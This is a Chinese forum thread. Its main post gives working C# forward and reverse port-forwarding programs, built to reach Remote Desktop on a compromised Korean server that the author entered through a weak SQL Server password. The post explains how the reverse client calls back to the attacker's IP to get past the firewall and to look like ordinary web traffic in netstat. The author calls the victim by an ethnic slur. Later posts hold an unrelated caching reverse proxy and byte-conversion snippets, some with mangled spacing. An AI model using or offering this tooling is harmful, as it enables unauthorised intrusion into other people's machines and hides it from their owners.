• 388 阅读
  • 2 回复

c#做端口转发程序支持正向连接和反向链接

视频在线上传+队列转换FLV+水印+捉图+修复+获时+转3GP(API语言不限,开视频站必备!)

3389的时候
例子1:连接a机器的3389端口连不上,因为对方防火墙或者网关做了限制,只能访问a机器的个别端口比如80。
例子2:连接a机器的几乎所有端口都连不上(对方乃内网或者防火墙网关做了限制),只能1433上去,但是对方可以连接你的某些端口。

解决
第一种较简单,只需要程序在对方开80,你连接他80,程序收到数据后,发送到他本机的3389,同时从他3389收到数据后返回到你。程序就是一个中转站。

代码 复制 - 运行

using System;
using System.Net.Sockets;
using System.Threading;

namespace PortTransponder
{
    class Program
    {
        static void Main(string[] args)
        {
            TcpListener tl = new TcpListener(80);//这里开对方可以被你连接并且未被占用的端口
            tl.Start();
            while (true)//这里必须用循环,可以接收不止一个客户,因为我发现终端服务有时一个端口不行就换一个端口重连
            {
                //下面的意思就是一旦程序收到你发送的数据包后立刻开2个线程做中转
                try
                {
                    TcpClient tc1 = tl.AcceptTcpClient();//这里是等待数据再执行下边,不会100%占用cpu
                    TcpClient tc2 = new TcpClient("localhost", 3389);
                    tc1.SendTimeout = 300000;//设定超时,否则端口将一直被占用,即使失去连接
                    tc1.ReceiveTimeout = 300000;
                    tc2.SendTimeout = 300000;
                    tc2.ReceiveTimeout = 300000;
                    object obj1 = (object)(new TcpClient[] { tc1, tc2 });
                    object obj2 = (object)(new TcpClient[] { tc2, tc1 });
                    ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);
                    ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);
                }
                catch { }
            }
        }
        public static void transfer(object obj)
        {
            TcpClient tc1 = ((TcpClient[])obj)[0];
            TcpClient tc2 = ((TcpClient[])obj)[1];
            NetworkStream ns1 = tc1.GetStream();
            NetworkStream ns2 = tc2.GetStream();
            while (true)
            {
                try
                {
                    //这里必须try catch,否则连接一旦中断程序就崩溃了,要是弹出错误提示让机主看见那就囧了
                    byte[] bt = new byte[10240];
                    int count = ns1.Read(bt, 0, bt.Length);
                    ns2.Write(bt, 0, count);
                }
                catch
                {
                    ns1.Dispose();
                    ns2.Dispose();
                    tc1.Close();
                    tc2.Close();
                    break;
                }
            }
        }
    }
}



这样在对方机器执行和,直接mstsc /v:对方ip:80就能终端上去了


第二种稍微复杂一点,需要客户机和服务器2个程序,你在自己机器上开服务器端,在对方机器上执行客户端连接你的服务器端,一旦连接上你的服务器端再开个端口让终端程序连接,对方机器上客户端再开个端口连接他自己的3389,做2次中转就可以终端上去了。
具体流程
本机ip开8080端口
对方机器连接你的8080端口,比如端口是49908
连接成功后
你的机器再开一个比如9833端口
对方机器再开一个连接连接他自己的3389,比如端口是49909吧
好这时你用你的mstsc连接自己的 localhost:9833,数据包就从本机9833-本机8080-对方49908-对方49909-对方3389,对方3389的数据反着回来就行了。

代码 复制 - 运行

//服务器端
using System;
using System.Collections.Generic;
using System.Net.Sockets;
using System.Threading;

namespace fanxiangserver
{
    class Program
    {
        public static Dictionary<int, TcpClient> dic = new Dictionary<int, TcpClient>();
        public static NetworkStream kongzhins = null;
        static void Main(string[] args)
        {
            ThreadPool.QueueUserWorkItem(new WaitCallback(start1));
            ThreadPool.QueueUserWorkItem(new WaitCallback(start2));
            WaitHandle.WaitAll(new ManualResetEvent[] { new ManualResetEvent(false) });
        }
        public static void start1(object obj)
        {
            TcpListener tl = new TcpListener(8080);//开一个对方可以连接的端口,今天这棒子机器连他只能1433,其他连不上,他连别人只能80 8080 21   
            tl.Start();
            while (true)
            {
                TcpClient tc = tl.AcceptTcpClient();
                jieshou(tc);
            }
        }
        public static void start2(object obj)
        {
            TcpListener tl = new TcpListener(9833); //开一个随意端口让自己的mstsc连。   
            tl.Start();
            while (true)
            {
                TcpClient tc = tl.AcceptTcpClient();
                Random rnd = new Random();
                int biaoji = rnd.Next(1000000000, 2000000000);
                dic.Add(biaoji, tc);
                byte[] bt = BitConverter.GetBytes(biaoji);
                kongzhins.Write(bt, 0, bt.Length);
            }
        }
        public static void jieshou(TcpClient tc)
        {
            //这里体现的是一个配对的问题,自己体会一下吧
            NetworkStream ns = tc.GetStream();
            byte[] bt = new byte[4];
            int count = ns.Read(bt, 0, bt.Length);
            if (count == 2 && bt[0] == 0x6f && bt[1] == 0x6b)
            {
                kongzhins = ns;
            }
            else
            {
                int biaoji = BitConverter.ToInt32(bt, 0);
                lianjie(biaoji, tc);
            }
        }
        public static void lianjie(int biaoji, TcpClient tc1)
        {
            TcpClient tc2 = null;
            if (dic.ContainsKey(biaoji))
            {
                dic.TryGetValue(biaoji, out tc2);
                dic.Remove(biaoji);
                tc1.SendTimeout = 300000;
                tc1.ReceiveTimeout = 300000;
                tc2.SendTimeout = 300000;
                tc2.ReceiveTimeout = 300000;
                object obj1 = (object)(new TcpClient[] { tc1, tc2 });
                object obj2 = (object)(new TcpClient[] { tc2, tc1 });
                ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);
                ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);
            }
        }
        public static void transfer(object obj)
        {
            TcpClient tc1 = ((TcpClient[])obj)[0];
            TcpClient tc2 = ((TcpClient[])obj)[1];
            NetworkStream ns1 = tc1.GetStream();
            NetworkStream ns2 = tc2.GetStream();
            while (true)
            {
                try
                {
                    //这里必须try catch,否则连接一旦中断程序就崩溃了,要是弹出错误提示让机主看见那就囧了
                    byte[] bt = new byte[10240];
                    int count = ns1.Read(bt, 0, bt.Length);
                    ns2.Write(bt, 0, count);
                }
                catch
                {
                    ns1.Dispose();
                    ns2.Dispose();
                    tc1.Close();
                    tc2.Close();
                    break;
                }
            }
        }
    }
}



代码 复制 - 运行

//客户端
using System;
using System.Text;
using System.Net.Sockets;
using System.Threading;

namespace fanxiangclient
{
    class Program
    {
        public static NetworkStream kongzhins = null;
        static void Main(string[] args)
        {
            try
            {
                TcpClient tc = new TcpClient("你的IP", 8080);
                kongzhins = tc.GetStream();
                byte[] bt = Encoding.Default.GetBytes("ok");//这里发送一个连接提示
                kongzhins.Write(bt, 0, bt.Length);
                jieshou();
                WaitHandle.WaitAll(new ManualResetEvent[] { new ManualResetEvent(false) });//这里为什么要这样呢?我发现sqlserver执行是localsystem账号如果console.read()程序马上退出
            }
            catch { }
        }
        public static void jieshou()
        {
            while (true)
            {
                byte[] bt = new byte[4];
                kongzhins.Read(bt, 0, bt.Length);
                TcpClient tc1 = new TcpClient("你的IP", 8080);
                TcpClient tc2 = new TcpClient("localhost", 3389);
                tc1.SendTimeout = 300000;
                tc1.ReceiveTimeout = 300000;
                tc2.SendTimeout = 300000;
                tc2.ReceiveTimeout = 300000;
                tc1.GetStream().Write(bt, 0, bt.Length);
                object obj1 = (object)(new TcpClient[] { tc1, tc2 });
                object obj2 = (object)(new TcpClient[] { tc2, tc1 });
                ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);
                ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);
            }
        }
        public static void transfer(object obj)
        {
            TcpClient tc1 = ((TcpClient[])obj)[0];
            TcpClient tc2 = ((TcpClient[])obj)[1];
            NetworkStream ns1 = tc1.GetStream();
            NetworkStream ns2 = tc2.GetStream();
            while (true)
            {
                try
                {
                    byte[] bt = new byte[10240];
                    int count = ns1.Read(bt, 0, bt.Length);
                    ns2.Write(bt, 0, count);
                }
                catch
                {
                    ns1.Dispose();
                    ns2.Dispose();
                    tc1.Close();
                    tc2.Close();
                    break;
                }
            }
        }
    }
}



好,这样你连接mstsc /v:localhost:9833,后数据就经过了好几转转到了对方的3389上。这样即使对方是内网也可以被终端了,而且好处是对方查看netstat -an看到的是这种东西


활성 연결
 프로토콜  로컬 주소           외부 주소              상태
 TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
 TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
 TCP    0.0.0.0:1433           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:5357           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:49152          0.0.0.0:0              LISTENING
 TCP    0.0.0.0:49153          0.0.0.0:0              LISTENING
 TCP    0.0.0.0:49154          0.0.0.0:0              LISTENING
 TCP    0.0.0.0:49155          0.0.0.0:0              LISTENING
 TCP    0.0.0.0:49156          0.0.0.0:0              LISTENING
 TCP    0.0.0.0:49157          0.0.0.0:0              LISTENING
 TCP    他的IP:139             0.0.0.0:0              LISTENING
 TCP    他的IP:49908           我的IP:8080            ESTABLISHED
 TCP    [::]:135               [::]:0                 LISTENING
 TCP    [::]:445               [::]:0                 LISTENING
 TCP    [::]:3389              [::]:0                 LISTENING
 TCP    [::]:5357              [::]:0                 LISTENING
 TCP    [::]:49152             [::]:0                 LISTENING
 TCP    [::]:49153             [::]:0                 LISTENING
 TCP    [::]:49154             [::]:0                 LISTENING
 TCP    [::]:49155             [::]:0                 LISTENING
 TCP    [::]:49156             [::]:0                 LISTENING
 TCP    [::]:49157             [::]:0                 LISTENING
 TCP    [::1]:3389             [::1]:49909            ESTABLISHED
 TCP    [::1]:49909            [::1]:3389             ESTABLISHED
 UDP    0.0.0.0:123            *:*
 UDP    0.0.0.0:500            *:*
 UDP    0.0.0.0:1434           *:*
 UDP    0.0.0.0:3702           *:*
 UDP    0.0.0.0:3702           *:*
 UDP    0.0.0.0:4500           *:*
 UDP    0.0.0.0:5355           *:*
 UDP    0.0.0.0:64966          *:*
 UDP    他的IP:137             *:*
 UDP    他的IP:138             *:*
 UDP    [::]:123               *:*
 UDP    [::]:500               *:*
 UDP    [::]:3702              *:*
 UDP    [::]:3702              *:*
 UDP    [::]:5355              *:*
 UDP    [::]:64967             *:*


只能看到他的49908在连接我的8080,就像看网站一样,要是80就更像了,而49909连接3389一般注意不到,反正没有ip地址,这棒子想不到吧,他做的这么变态的限制都被终端上去了,起因就是sqlserver弱口令和权限,这个机器是win2008,i7 920的u,不明白棒子的网管为什么一点安全知识都没有,而且屡教不改,上次进去一看,那机器已经被国内黑克给x了n遍了,上边布满了木马,最后实在启动不了了,他重装了,结果那个sqlserver还是那个权限还是那个密码,服气吧。但是如果netstat -ano发现连我的pid和连3389的pid是一个那就可以发现了。

以上程序都是经我测试后非常ok的,但是没有经过优化,尤其是反向连接的,可以做成个服务是吧,或者连接的时候加个验证啦什么的,还有我的Ip地址也是变的,可以做成个服务,定时读取某一网页上我的新ip,告诉他连还是不连啦,什么的。而且还可以做成个http代理翻wall啦,总之花样是很多的。

2010年9月10日下午18点更正反向连接的一个小问题,即连接配对的问题,这样的话只要肉鸡反向连接到你的服务器端,你可以开多个终端上去用不同的账号同时登陆了。


http://www.cnblogs.com/mutuan/archive/2011/09/09/2172854.html
小鱼的淘宝店铺-多多支持哇

C#写的一个反向代理,可以缓存

视频在线上传+队列转换FLV+水印+捉图+修复+获时+转3GP(API语言不限,开视频站必备!)

代码 复制 - 运行

[size=4][b]proxy.ashx 主文件[/b][/size]<%@ WebHandler Language="C#" Class="proxy" %>
 
using System;
using System.Web;
using System.Net;
using System.Text;
using System.IO;
using System.Collections.Generic;
using System.Configuration;
 
 
 
/// <summary>
/// 把http headers 和 http 响应的内容 分别存储在 /proxy/header/ 和 /proxy/body/ 中
/// 分层次创建目录
/// </summary>
public class proxy : IHttpHandler
{
 
    HttpResponse Response;
    HttpRequest Request;
    HttpApplicationState Application;
    HttpServerUtility Server;
 
    static string proxyCacheFolder = ConfigurationManager.AppSettings["proxyCacheFolder"];
    static string proxyDomain = ConfigurationManager.AppSettings["proxyDomain"];
    static string proxyReferer = ConfigurationManager.AppSettings["proxyReferer"];
    bool proxyCacheDirectAccess = ConfigurationManager.AppSettings["proxyCacheDirectAccess"] == "true";
    int proxyCacheSeconds = int.Parse(ConfigurationManager.AppSettings["proxyCacheSeconds"]);
 
 
 
    public void ProcessRequest(HttpContext context)
    {
        Response = context.Response;
        Request = context.Request;
        Application = context.Application;
        Server = context.Server;
 
        string path = context.Request.RawUrl;
        bool delCache = path.IndexOf("?del") > 0;
        if (delCache)
        {
            path = path.Replace("?del", string.Empty);
            DeleteCacheFile(path);
            return;
        }
 
 
        bool allowCache = Request.QueryString["cache"] == "true";
        string seconds = Request.QueryString["seconds"] ?? string.Empty;
        if (!int.TryParse(seconds, out proxyCacheSeconds))
        {
            proxyCacheSeconds = 3600;
        }
 
        if (allowCache)
        {
 
            EchoData(path);
        }
        else
        {
 
            WebClient wc = new WebClient();
            wc.Headers.Set("Referer", proxyReferer);
            byte[] buffer = wc.DownloadData(proxyDomain + path);
            Response.ContentType = wc.ResponseHeaders["Content-Type"];
            foreach (string key in wc.ResponseHeaders.AllKeys)
            {
 
                Response.Headers.Set(key, wc.ResponseHeaders[key]);
            }
            wc.Dispose();
            Response.OutputStream.Write(buffer, 0, buffer.Length);
        }
 
 
 
    }
 
 
    /// <summary>
    /// 清理失效的缓存
    /// </summary>
    /// <param name="d"></param>
    void ClearTimeoutCache(DirectoryInfo d)
    {
        if (d.Exists)
        {
            FileInfo[] files = d.GetFiles();
            foreach (FileInfo file in files)
            {
                TimeSpan timeSpan = DateTime.Now - file.LastAccessTime;
                if (timeSpan.TotalSeconds > proxyCacheSeconds)
                {
                    file.Delete();
                }
            }
        }
    }
 
    string GetCacheFolderPath(string hash)
    {
        string s = string.Empty;
        for (int i = 0; i <= 2; i++)
        {
            s += hash[i] + "/";
        }
 
        return s;
    }
 
    /// <summary>
    /// 读取缓存的header 并输出
    /// </summary>
    /// <param name="cacheHeaderPath"></param>
    void EchoCacheHeader(string cacheHeaderPath)
    {
        string[] headers = File.ReadAllLines(cacheHeaderPath);
        for (int i = 0; i < headers.Length; i++)
        {
            string[] headerKeyValue = headers[i].Split(':');
            if (headerKeyValue.Length == 2)
            {
                if (headerKeyValue[0] == "Content-Type")
                {
                    Response.ContentType = headerKeyValue[1];
                }
                Response.Headers.Set(headerKeyValue[0], headerKeyValue[1]);
            }
 
        }
 
    }
 
 
 
    void DeleteCacheFile(string path)
    {
        string absFolder = Server.MapPath(proxyCacheFolder);
        string hash = GetHashString(path);
 
        string folder = GetCacheFolderPath(hash);
 
        string cacheBodyPath = absFolder + "/body/" + folder + hash;
        string cacheHeaderPath = absFolder + "/header/" + folder + hash;
 
        FileInfo cacheBody = new FileInfo(cacheBodyPath);
        FileInfo cacheHeader = new FileInfo(cacheHeaderPath);
 
        if (cacheBody.Exists)
        {
            cacheBody.Delete();
        }
 
        if (cacheHeader.Exists)
        {
            cacheHeader.Delete();
        }
 
        Response.Write("delete cache file Success!\r\n" + path);
    }
 
    /// <summary>
    /// 输出缓存
    /// </summary>
    /// <param name="cacheHeaderPath">缓存header 的文件路径</param>
    /// <param name="cacheBodyPath">缓存 body 的文件路径</param>
    /// <param name="ifTimeout">是否进行判断文件过期</param>
    /// <returns>是否输出成功</returns>
    bool EchoCacheFile(string cacheHeaderPath, string cacheBodyPath, bool ifTimeout)
    {
        FileInfo cacheBody = new FileInfo(cacheBodyPath);
        FileInfo cacheHeader = new FileInfo(cacheHeaderPath);
 
        ClearTimeoutCache(cacheBody.Directory);
        ClearTimeoutCache(cacheHeader.Directory);
 
        if (cacheBody.Exists && cacheHeader.Exists)
        {
 
            if (ifTimeout)
            {
                TimeSpan timeSpan = DateTime.Now - cacheBody.LastWriteTime;
                if (timeSpan.TotalSeconds < proxyCacheSeconds)
                {
                    EchoCacheHeader(cacheHeaderPath);
 
                    Response.TransmitFile(cacheBodyPath);
                    return true;
                }
            }
            else
            {
                EchoCacheHeader(cacheHeaderPath);
 
                Response.TransmitFile(cacheBodyPath);
                return true;
            }
 
        }
 
        return false;
    }
 
    void EchoData(string path)
    {
 
        string absFolder = Server.MapPath(proxyCacheFolder);
        string hash = GetHashString(path);
 
        string folder = GetCacheFolderPath(hash);
 
        string cacheBodyPath = absFolder + "/body/" + folder + hash;
        string cacheHeaderPath = absFolder + "/header/" + folder + hash;
 
        bool success;
        if (proxyCacheDirectAccess)
        {
            success = EchoCacheFile(cacheHeaderPath, cacheBodyPath, false);
            if (!success)
            {
                Response.Write("直接从缓存读取失败!");
            }
            return;
        }
 
        success = EchoCacheFile(cacheHeaderPath, cacheBodyPath, true);
 
        if (success)
        {
            return;
        }
 
 
 
 
        //更新Cache File
        string ApplicationKey = "CacheList";
        List<string> List = null;
 
 
        if (Application[ApplicationKey] == null)
        {            
            Application.Lock();
            Application[ApplicationKey] = List = new List<string>(1000);
            Application.UnLock();
        }
        else
        {
 
            List = (List<string>)Application[ApplicationKey];
 
        }
 
 
        //判断是否已有另一个进程正在更新Cache File
        if (List.Contains(hash))
        {
            success = EchoCacheFile(cacheHeaderPath, cacheBodyPath, false);
            if (success)
            {
                return;
            }
            else
            {
 
                WebClient wc = new WebClient();
                wc.Headers.Set("Referer", proxyReferer);
                //主体内容
                byte[] data = wc.DownloadData(proxyDomain + path);
 
                //处理header
                Response.ContentType = wc.ResponseHeaders["Content-Type"];
                foreach (string key in wc.ResponseHeaders.AllKeys)
                {
                    Response.Headers.Set(key, wc.ResponseHeaders[key]);
                }
                wc.Dispose();
                Response.BinaryWrite(data);
                 
            }
        }
        else
        {
 
           
  
 
            WebClient wc = new WebClient();
            wc.Headers.Set("Referer", proxyReferer);
            StringBuilder headersb = new StringBuilder();
 
            List.Add(hash);
            //主体内容
            byte[] data = wc.DownloadData(proxyDomain + path);
 
 
 
 
 
            //处理header
 
            Response.ContentType = wc.ResponseHeaders["Content-Type"];
            foreach (string key in wc.ResponseHeaders.AllKeys)
            {
                headersb.Append(key);
                headersb.Append(":");
                headersb.Append(wc.ResponseHeaders[key]);
                headersb.Append("\r\n");
                Response.Headers.Set(key, wc.ResponseHeaders[key]);
            }
            wc.Dispose();
 
            string headers = headersb.ToString().Trim();
            if (!Directory.Exists(absFolder + "/header/" + folder))
            {
                Directory.CreateDirectory(absFolder + "/header/" + folder);
            }
 
            StreamWriter sw = File.CreateText(absFolder + "/header/" + folder + hash);
            sw.Write(headers);
            sw.Close();
            sw.Dispose();
 
 
            //处理缓存内容
            if (!Directory.Exists(absFolder + "/body/" + folder))
            {
                Directory.CreateDirectory(absFolder + "/body/" + folder);
            }
 
            FileStream fs = File.Create(absFolder + "/body/" + folder + hash);
            fs.Write(data, 0, data.Length);
            fs.Close();
            fs.Dispose();
 
            List.Remove(hash);
             
           
 
            Response.BinaryWrite(data);
        }
    }
 
 
 
 
    string GetHashString(string path)
    {
        string md5 = GetMd5Str(path);
        return md5;
    }
 
 
    static string GetMd5Str(string ConvertString)
    {
        System.Security.Cryptography.MD5CryptoServiceProvider md5 = new System.Security.Cryptography.MD5CryptoServiceProvider();
        string t2 = BitConverter.ToString(md5.ComputeHash(UTF8Encoding.Default.GetBytes(ConvertString)), 4, 8);
        t2 = t2.Replace("-", "");
 
        return t2;
    }
 
 
    public bool IsReusable
    {
        get
        {
            return false;
        }
    }
 
}



代码 复制 - 运行

<?xml version="1.0"?>
<configuration>
  <configSections>
    <section name="RewriterConfig" type="URLRewriter.Config.RewriterConfigSerializerSectionHandler, URLRewriter"/>    
  </configSections>
  <RewriterConfig>
    <Rules>
 
 
       
      <RewriterRule>
        <LookFor>~/.*$</LookFor>
        <SendTo>
        <!--cache=true 设置此路径进行缓存-->
          <![CDATA[~/proxy.ashx?cache=true&seconds=30]]>
        </SendTo>
      </RewriterRule>
 
      <RewriterRule>
        <LookFor>~/ajax/.*$</LookFor>
        <SendTo>
        <!--cache=false 设置此路径不允许缓存-->
          <![CDATA[~/proxy.ashx?cache=false]]>
        </SendTo>
      </RewriterRule>
       
    </Rules>
  </RewriterConfig>
 
  <appSettings>
     
    <!--#反向代理设置 start-->
 
    <!--设置站点-->
    <add key="proxyDomain" value="http://127.0.0.1:12123/"/>
 
    <!--缓存文件夹-->
    <add key="proxyCacheFolder" value="/proxyCache/"/>
 
    <!--缓存时长-->
    <add key="proxyCacheSeconds" value="3600"/>
 
    <!--设置不再判断缓存文件是否超时,直接从缓存读取-->
    <add key="proxyCacheDirectAccess" value="false"/>
 
    <!--设置反向代理Referer-->
    <add key="proxyReferer" value="http://www.www.com/"/>
    <!--#反向代理设置 end-->
     
     
  </appSettings>
   
  <system.webServer>
    <modules runAllManagedModulesForAllRequests="true">
      <add type="URLRewriter.ModuleRewriter, URLRewriter" name="ModuleRewriter"/>
    </modules>
  </system.webServer>
 
  <system.web>
    <compilation debug="true"/>
  </system.web>
   
</configuration>



http://www.oschina.net/code/snippet_172400_17195


proxy.rar (您是游客您没有权限下载)
小鱼的淘宝店铺-多多支持哇
视频在线上传+队列转换FLV+水印+捉图+修复+获时+转3GP(API语言不限,开视频站必备!)
有文本需要替换时 byte[] 与 string的转换


string类型转成byte[]:
byte[] byteArray = System.Text.Encoding.Default.GetBytes ( str );

byte[]转成string:
string str = System.Text.Encoding.Default.GetString ( byteArray );


http://www.cnblogs.com/Maxq/p/5953682.html


代码 复制 - 运行

string类型转成byte[]:

byte[] byteArray = System.Text.Encoding.Default.GetBytes ( str );

 

byte[]转成string:

string str = System.Text.Encoding.Default.GetString ( byteArray );

 

string类型转成ASCII byte[]:

("01" 转成 byte[] = new byte[]{ 0x30,0x31})

byte[] byteArray = System.Text.Encoding.ASCII.GetBytes ( str );

 

ASCIIbyte[]转成string:

(byte[] = new byte[]{ 0x30, 0x31} 转成"01")

string str = System.Text.Encoding.ASCII.GetString ( byteArray );

 

byte[]转16进制格式string:

new byte[]{ 0x30, 0x31}转成"3031":

publicstaticstring ToHexString ( byte[] bytes ) // 0xae00cf => "AE00CF "

{string hexString = string.Empty;

if ( bytes != null )

{                

StringBuilder strB = new StringBuilder ();

for ( int i = 0; i < bytes.Length; i++ )

{                    

strB.Append ( bytes[i].ToString ( "X2" ) );                

}                

hexString = strB.ToString ();            

}return hexString;        

}

 

16进制格式string 转byte[]:

publicstaticbyte[] GetBytes(string hexString, outint discarded)

{            

discarded = 0;

string newString = "";

char c;// remove all none A-F, 0-9, charactersfor (int i=0; i<hexString.Length; i++)

{              

  c = hexString[i];if (IsHexDigit(c))                    

newString += c;

else                    

discarded++;            

}// if odd number of characters, discard last characterif (newString.Length % 2 != 0){                discarded++;                

newString = newString.Substring(0, newString.Length-1);            }

int byteLength = newString.Length / 2;byte[] bytes = newbyte[byteLength];string hex;int j = 0;for (int i=0; i<bytes.Length; i++){               

 hex = new String(new Char[] {newString[j], newString[j+1]});               

 bytes[i] = HexToByte(hex);                j = j+2;           

 }

return bytes;       

 }
小鱼的淘宝店铺-多多支持哇